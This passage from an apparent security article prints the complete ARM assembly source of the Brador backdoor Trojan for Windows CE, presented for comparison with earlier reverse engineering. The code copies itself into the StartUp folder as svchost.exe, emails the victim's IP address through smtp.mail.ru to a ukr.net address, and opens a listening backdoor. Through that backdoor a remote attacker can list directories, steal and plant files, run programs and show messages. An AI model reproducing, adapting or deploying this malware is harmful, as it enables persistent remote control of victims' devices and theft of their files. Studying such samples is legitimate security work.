Like this article? We recommend
Source Code
As this article went to press, we were lucky enough to obtain the source code to the Brador Trojan through informants in the computer underground. We can now study the actual code to see whether our black box reverse engineering was accurate. Here, published for the first time, is the full source code to the first Windows CE Trojan.
; ******************************************************************************************* INCLUDE wince.inc IMPORT CreateFileW IMPORT WriteFile IMPORT CloseHandle IMPORT WSAStartup IMPORT socket IMPORT ioctlsocket IMPORT bind IMPORT connect IMPORT select IMPORT gethostname IMPORT gethostbyname IMPORT inet_ntoa IMPORT recv IMPORT send IMPORT closesocket IMPORT listen IMPORT accept IMPORT ReadFile IMPORT FindFirstFileW IMPORT FindNextFileW IMPORT GetFileSize IMPORT CreateProcessW IMPORT MessageBoxW EXPORT _start AREA .text, CODE ; ******************************************************************************************* ; ******************************************************************************************* _start ;NOP ; remove this sh#t later ldr R0, =trojname ldr R1, =GENERIC_WRITE eor R2, R2, R2 eor R3, R3, R3 ldr R4, =CREATE_NEW str R4, [SP] ldr R4, =FILE_ATTRIBUTE_NORMAL str R4, [SP, #4] str R3, [SP, #8] bl CreateFileW ; create \Windows\StartUp\svchost.exe mvn R1, #0 cmp R0, R1 beq _skip_prelude ; skip prelude if file exists str R0, hFile ldr R8, =4 ldr R7, =header_size eor R6, R6, R6 ldr R1, =PE_header _next_section ldr R0, hFile ldrh R2, [R7], #2 ldr R3, =SMTP_socket eor R4, R4, R4 str R4, [SP] bl WriteFile ldr R1, =_start add R1, R1, R6 add R6, R6, #0x1000 subs R8, R8, #1 bne _next_section ldr R0, hFile bl CloseHandle _skip_prelude ldr R0, =0x00310031 ldr R1, =PE_header bl WSAStartup ldr R0, =AF_INET ldr R1, =SOCK_STREAM eor R2, R2, R2 bl socket str R0, SMTP_socket ldr R1, =FIONBIO ldr R2, =SMTP_socket bl ioctlsocket ldr R0, SMTP_socket ldr R1, =local_sa_in ldr R2, =local_sa_in_len bl bind _try_connect ldr R0, SMTP_socket ldr R1, =SMTP_sa_in ldr R2, =SMTP_sa_in_len bl connect ldr R6, =timeout_large bl proc_sock_wait_write tst R0, R0 beq _try_connect ldr R0, =hostname ldr R1, =hostname_len bl gethostname ldr R0, =hostname bl gethostbyname ldr R0, [R0, #0xC] ldr R0, [R0] ldr R0, [R0] str R0, local_sa_in+4 bl inet_ntoa ldr R2, =victims_IP _next_IP_digit ldrb R1, [R0], #1 strb R1, [R2], #1 tst R1, R1 bne _next_IP_digit ldr R1, =HELO ldr R2, =HELO_len bl proc_SMTP_send_recv ldr R1, =MAIL ldr R2, =MAIL_len bl proc_SMTP_send_recv ldr R1, =RCPT ldr R2, =RCPT_len bl proc_SMTP_send_recv ldr R1, =DATA ldr R2, =DATA_len bl proc_SMTP_send_recv ldr R1, =victims_IP ldr R2, =victims_IP_len bl proc_SMTP_send_recv ldr R1, =QUIT ldr R2, =QUIT_len bl proc_SMTP_send_recv ldr R0, SMTP_socket bl closesocket ; ******************************************************************************************* ; ******************************************************************************************* ldr R0, =AF_INET ldr R1, =SOCK_STREAM eor R2, R2, R2 bl socket str R0, SMTP_socket ldr R1, =local_sa_in ldr R2, =local_sa_in_len bl bind _new_session ldr R0, SMTP_socket ldr R1, =5 bl listen ldr R0, SMTP_socket eor R1, R1, R1 eor R2, R2, R2 bl accept str R0, victims_socket ldr R1, =CON_EST ldr R2, =CON_EST_len eor R3, R3, R3 bl send ldr R0, victims_socket ldr R1, =FIONBIO ldr R2, =victims_socket bl ioctlsocket _recv_loop ldr R6, =timeout_small bl proc_sock_wait_read ; wait new commands tst R0, R0 bgt _cmd_recvd _cmd_fin ldr R0, victims_socket ldr R1, =mes_CLOSE ldr R2, =mes_CLOSE_len eor R3, R3, R3 bl send ldr R0, victims_socket bl closesocket b _new_session _cmd_recvd ldr R0, victims_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv ldrb R0, PE_header ldr R1, =cmd _try_next_cmd ldrb R2, [R1], #1 cmp R0, R2 bne _try_next_cmd ldr R0, =cmd+1 sub R1, R1, R0 ldr R3, =cmd_table ldr PC, [R3, R1, LSL #2] ; ******************************************************************************************* ; ******************************************************************************************* _cmd_dir ldr R0, =PE_header+4 ldr R1, =PE_header+0x200 ; WIN32_FIND_DATA bl FindFirstFileW tst R0, R0 beq _no_more_files str R0, hFindFile _find_next ldr R3, =PE_header+0x200+0x28 ldr R4, =PE_header _next_path_char ldrb R2, [R3], #1 tst R2, R2 beq _maybe_last strb R2, [R4], #1 b _next_path_char _maybe_last ldrb R2, [R3] tst R2, R2 bne _next_path_char ldr R0, =0 strb R0, [R4] ldr R0, victims_socket ldr R1, =PE_header sub R2, R4, R1 eor R3, R3, R3 bl send ldr R0, hFindFile ldr R1, =PE_header+0x200 ; WIN32_FIND_DATA bl FindNextFileW tst R0, R0 bne _find_next _no_more_files eor R3, R3, R3 str R3, PE_header ldr R0, victims_socket ldr R1, =PE_header ldr R2, =4 bl send ; send "Final entry" b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_get ldr R0, =PE_header+4 ; filename to get ldr R1, =GENERIC_READ eor R2, R2, R2 eor R3, R3, R3 ldr R4, =OPEN_EXISTING str R4, [SP] ldr R4, =FILE_ATTRIBUTE_NORMAL str R4, [SP, #4] str R3, [SP, #8] bl CreateFileW ; try to open file tst R0, R0 beq _recv_loop str R0, hFile eor R1, R1, R1 bl GetFileSize str R0, PE_header ldr R0, victims_socket ldr R1, =PE_header ldr R2, =4 eor R3, R3, R3 bl send ; send filesize _send_next_file_part ldr R0, hFile ldr R1, =PE_header ldr R2, =PE_header_size ldr R3, =fd_set eor R4, R4, R4 str R4, [SP] bl ReadFile ; read part of file ldr R2, fd_set tst R2, R2 beq _get_EOF ; file ends ldr R0, victims_socket ldr R1, =PE_header eor R3, R3, R3 bl send ; send next file part b _send_next_file_part _get_EOF ldr R0, hFile bl CloseHandle b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_put ldr R0, =PE_header+4 ; filename to put ldr R1, =GENERIC_WRITE eor R2, R2, R2 eor R3, R3, R3 ldr R4, =CREATE_ALWAYS str R4, [SP] ldr R4, =FILE_ATTRIBUTE_NORMAL str R4, [SP, #4] str R3, [SP, #8] bl CreateFileW tst R0, R0 beq _recv_loop ; can't create file str R0, hFile bl proc_send_OK ; send ACK ldr R6, =timeout_tiny bl proc_sock_wait_read ; wait filesize ldr R0, victims_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv ; recv filesize ldr R7, PE_header mov R7, R7, LSR #10 add R7, R7, #1 ; R7=parts count _get_next_file_part ldr R6, =timeout_tiny bl proc_sock_wait_read ; wait next file part tst R0, R0 beq _put_error ldr R0, victims_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv mov R2, R0 ldr R0, hFile ldr R1, =PE_header ldr R3, =fd_set eor R4, R4, R4 str R4, [SP] bl WriteFile subs R7, R7, #1 bne _get_next_file_part bl proc_send_OK _put_error ldr R0, hFile bl CloseHandle b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_mes eor R0, R0, R0 ldr R1, =PE_header+4 ldr R2, =mestit mov R3, #MB_OK bl MessageBoxW bl proc_send_OK b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* _cmd_run ldr R0, =PE_header+4 eor R1, R1, R1 eor R2, R2, R2 eor R3, R3, R3 mvn R4, #0 str R4, [SP] ldr R4, =CREATE_NEW_CONSOLE str R4, [SP, #4] str R3, [SP, #8] str R3, [SP, #0xC] str R3, [SP, #0x10] ldr R4, =PE_header+0x200 ; PROCESS_INFORMATION str R4, [SP, #0x14] bl CreateProcessW tst R0, R0 beq _cmd_run_error bl proc_send_OK _cmd_run_error b _recv_loop ; ******************************************************************************************* ; ******************************************************************************************* proc_SMTP_send_recv mov R7, LR ldr R0, SMTP_socket eor R3, R3, R3 bl send ldr R6, =timeout_tiny bl proc_sock_wait_read ldr R0, SMTP_socket ldr R1, =PE_header ldr R2, =PE_header_size eor R3, R3, R3 bl recv mov PC, R7 ; ******************************************************************************************* ; ******************************************************************************************* proc_sock_wait_read mov R5, LR ldr R0, =fd_set ldr R1, =1 str R1, [R0] eor R0, R0, R0 ldr R1, =fd_set eor R2, R2, R2 eor R3, R3, R3 mov R4, R6 str R4, [SP] bl select mov PC, R5 ; ******************************************************************************************* ; ******************************************************************************************* proc_sock_wait_write mov R5, LR ldr R0, =fd_set ldr R1, =1 str R1, [R0] eor R0, R0, R0 eor R1, R1, R1 ldr R2, =fd_set eor R3, R3, R3 mov R4, R6 str R4, [SP] bl select mov PC, R5 ; ******************************************************************************************* ; ******************************************************************************************* proc_send_OK mov R5, LR ldr R0, victims_socket ldr R1, =mes_OK ldr R2, =mes_OK_len eor R3, R3, R3 bl send mov PC, R5 ; ******************************************************************************************* ; ******************************************************************************************* ; DATA ALIGN PE_header SPACE 0x400 PE_header_size equ .-PE_header header_size dcw 0x400 text_size dcw 0xE00 rdata_size dcw 0x200 data_size dcw 0x200 hFile dcd 0 hFindFile dcd 0 trojname dcb 0x5C,0,"W",0,"i",0,"n",0,"d",0,"o",0,"w",0,"s",0,0x5C,0, "S",0,"t",0,"a",0,"r",0,"t",0,"U",0,"p",0,0x5C,0, "s",0,"v",0,"c",0,"h",0,"o",0,"s",0,"t",0,".",0,"e",0,"x",0,"e",0,0,0 ALIGN hostname SPACE 0x10 hostname_len equ .-hostname fd_set dcd 1 SMTP_socket dcd 0 victims_socket dcd 0 SMTP_sa_in dcw AF_INET dcw 0x1900 ; SMTP port dcd 0x6F1743C2 ; smtp.mail.ru SPACE 8 SMTP_sa_in_len equ .-SMTP_sa_in local_sa_in dcw AF_INET dcw 0xAD0B ; victims port dcd 0 ; victims IP SPACE 8 local_sa_in_len equ .-local_sa_in timeout_large dcd 3600 ; wait 60 min dcd 0 timeout_small dcd 600 ; wait 10 min dcd 0 timeout_tiny dcd 60 ; wait 1 min dcd 0 victims_IP SPACE 0x10 dcb 0xD,0xA,".",0xD,0xA victims_IP_len equ .-victims_IP HELO dcb "HELO victim",0xD,0xA HELO_len equ .-HELO MAIL dcb "MAIL FROM:br@mail.ru",0xD,0xA MAIL_len equ .-MAIL RCPT dcb "RCPT TO:brokensword@ukr.net",0xD,0xA RCPT_len equ .-RCPT DATA dcb "DATA",0xD,0xA DATA_len equ .-DATA QUIT dcb "QUIT",0xD,0xA QUIT_len equ .-QUIT CON_EST dcb "Connection established", 0 CON_EST_len equ .-CON_EST mestit dcb "H",0,"i",0,0,0 mes_OK dcb "OK",0 mes_OK_len equ .-mes_OK mes_ERR dcb "Error", 0 mes_ERR_len equ .-mes_ERR mes_CLOSE dcb "Connection closed", 0 mes_CLOSE_len equ .-mes_CLOSE cmd dcb "d","g","r","p","m","f" ALIGN cmd_table dcd _cmd_dir dcd _cmd_get dcd _cmd_run dcd _cmd_put dcd _cmd_mes dcd _cmd_fin ; ******************************************************************************************* END